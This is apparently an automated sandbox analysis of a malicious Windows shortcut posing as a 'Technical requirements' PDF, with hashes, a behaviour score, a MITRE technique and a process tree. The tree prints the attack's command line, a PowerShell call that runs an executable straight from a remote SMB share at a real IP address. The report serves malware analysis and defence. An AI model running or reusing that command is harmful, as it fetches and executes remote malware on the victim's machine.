1982aa4c747fdf0c764baf3e87ada16ca9f663713b71bb4cbe179a63e4ad6f82

Analysis

max time kernel
31s
max time network
33s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
03/06/2023, 17:37

Target

Technical requirements/Technical requirements.pdf.lnk
Size

2KB
MD5

3e00d17f875b8a32e135b9942a6d9333
SHA1

254b0d03907edc4fb5dc2292a3003349e3a75446
SHA256

545ac29a62357eacff25a226d7a4e8a4d5993e8b7573e08977be3b20c967245a
SHA512

810bc1104387b3608a3c0f93f3e830bd9a808ae1afab964fa23a3467b616d24b6812f86a2a7b33731945ff8f38629649c33478d147b901d81e7b458d75367b92

Score

3^/10

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1664	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1664	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1972 wrote to memory of 1664	1972	cmd.exe	29
PID 1972 wrote to memory of 1664	1972	cmd.exe	29
PID 1972 wrote to memory of 1664	1972	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Technical requirements\Technical requirements.pdf.lnk"
1⤵
- Suspicious use of WriteProcessMemory
PID:1972
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "\\89.23.98.56\sharedatalnk\System.Messaging.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1664

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

memory/1664-92-0x00000000026D0000-0x0000000002750000-memory.dmp

Filesize
512KB

Download
memory/1664-93-0x000000001B1E0000-0x000000001B4C2000-memory.dmp

Filesize
2.9MB

Download
memory/1664-94-0x00000000023D0000-0x00000000023D8000-memory.dmp

Filesize
32KB

Download
memory/1664-95-0x00000000026D4000-0x00000000026D7000-memory.dmp

Filesize
12KB

Download
memory/1664-96-0x00000000026DB000-0x0000000002712000-memory.dmp

Filesize
220KB

Download